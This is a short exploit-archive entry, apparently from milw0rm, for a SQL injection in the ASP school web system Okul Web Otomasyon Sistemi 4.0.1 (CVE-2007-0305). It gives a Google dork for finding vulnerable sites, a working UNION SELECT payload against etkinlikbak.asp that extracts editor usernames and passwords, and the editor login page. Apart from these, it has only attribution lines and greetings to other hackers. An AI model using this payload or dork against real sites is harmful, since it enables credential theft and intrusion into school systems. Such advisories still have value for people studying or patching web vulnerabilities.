Okul Web Otomasyon Sistemi 4.0.1 - SQL Injection

Author: ilker Kandemir
type: webapps
platform: asp
port: 
date_added: 2007-01-14 
date_updated:  
verified: 1 
codes: OSVDB-32819;CVE-2007-0305 
tags: 
aliases:  
screenshot_url:  
application_url: 

-------------------------------------------------------------------------------------------------------------------
AYYILDIZ.ORG PreSents...


Script: Okul Web Otomasyon Sistemi
Script Download: http://www.aspindir.com/Goster/3822
Contact: ilker Kandemir <ilkerkandemir[at]mynet.com>

DORK: inurl:etkinlikbak.asp
-------------------------------------------------------------------------------------------------------------------
Exploit:  etkinlikbak.asp?id=-1%20union%20select%200,editor,sifre,3,4,5%20from%20editor
-------------------------------------------------------------------------------------------------------------------
Editor Panel: editor_gir.asp
-------------------------------------------------------------------------------------------------------------------

Tnx:H0tturk,Dr.Max Virus,,PcDelisi,CodeR,Dumenci
Special Tnx:Asianeagle, AYYILDIZ.ORG

# milw0rm.com [2007-01-15]